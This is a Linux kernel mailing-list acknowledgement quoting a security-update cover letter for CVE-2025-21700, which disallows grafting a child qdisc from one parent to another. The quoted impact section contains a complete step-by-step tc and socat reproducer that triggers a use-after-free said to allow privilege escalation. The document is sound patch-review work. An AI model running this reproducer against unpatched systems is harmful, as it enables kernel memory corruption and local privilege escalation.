ACK: [SRU][O/N/J/F][PATCH 0/1] CVE-2025-21700

[Stewart Hore]

On Sat, Feb 22, 2025 at 12:27:03PM -0800, Tim Whisonant wrote:
> [Impact]
>
> net: sched: Disallow replacing of child qdisc from one parent to another
>
> Lion Ackermann was able to create a UAF which can be abused for privilege
> escalation with the following script
>
> Step 1. create root qdisc
> tc qdisc add dev lo root handle 1:0 drr
>
> step2. a class for packet aggregation do demonstrate uaf
> tc class add dev lo classid 1:1 drr
>
> step3. a class for nesting
> tc class add dev lo classid 1:2 drr
>
> step4. a class to graft qdisc to
> tc class add dev lo classid 1:3 drr
>
> step5.
> tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
>
> step6.
> tc qdisc add dev lo parent 1:2 handle 3:0 drr
>
> step7.
> tc class add dev lo classid 3:1 drr
>
> step 8.
> tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
>
> step 9. Display the class/qdisc layout
>
> tc class ls dev lo
>  class drr 1:1 root leaf 2: quantum 64Kb
>  class drr 1:2 root leaf 3: quantum 64Kb
>  class drr 3:1 root leaf 4: quantum 64Kb
>
> tc qdisc ls
>  qdisc drr 1: dev lo root refcnt 2
>  qdisc plug 2: dev lo parent 1:1
>  qdisc pfifo 4: dev lo parent 3:1 limit 1000p
>  qdisc drr 3: dev lo parent 1:2
>
> step10. trigger the bug <=== prevented by this patch
> tc qdisc replace dev lo parent 1:3 handle 4:0
>
> step 11. Redisplay again the qdiscs/classes
>
> tc class ls dev lo
>  class drr 1:1 root leaf 2: quantum 64Kb
>  class drr 1:2 root leaf 3: quantum 64Kb
>  class drr 1:3 root leaf 4: quantum 64Kb
>  class drr 3:1 root leaf 4: quantum 64Kb
>
> tc qdisc ls
>  qdisc drr 1: dev lo root refcnt 2
>  qdisc plug 2: dev lo parent 1:1
>  qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
>  qdisc drr 3: dev lo parent 1:2
>
> Observe that a) parent for 4:0 does not change despite the replace request.
> There can only be one parent.  b) refcount has gone up by two for 4:0 and
> c) both class 1:3 and 3:1 are pointing to it.
>
> Step 12.  send one packet to plug
> echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
> step13.  send one packet to the grafted fifo
> echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))
>
> step14. lets trigger the uaf
> tc class delete dev lo classid 1:3
> tc class delete dev lo classid 1:1
>
> The semantics of "replace" is for a del/add _on the same node_ and not
> a delete from one node(3:1) and add to another node (1:3) as in step10.
> While we could "fix" with a more complex approach there could be
> consequences to expectations so the patch takes the preventive approach of
> "disallow such config".
>
> [Cherry Pick]
>
> Cherry picked from upstream.
>
> [Fix]
>
> Oracular: applied Focal patch
> Noble:    applied Focal patch
> Jammy:    applied Focal patch
> Focal:    cherry picked from upstream
> Bionic:   patch sent to ESM ML
> Xenial:   patch sent to ESM ML
> Trusty:   not affected
>
> [Test Plan]
>
> Compile and boot tested.
>
> [Where problems could occur]
>
> The patch avoids a privilege escalation related to queuing discipline in
> the core network logic. Problems could manifest as errors when
> attempting to delete/add from different nodes as in the test scenario.
>
> Jamal Hadi Salim (1):
>   net: sched: Disallow replacing of child qdisc from one parent to
>     another
>
>  net/sched/sch_api.c | 2 ++
>  1 file changed, 2 insertions(+)
>
> --
> 2.43.0

Acked-by: Stewart Hore <stewart.hore at canonical.com>

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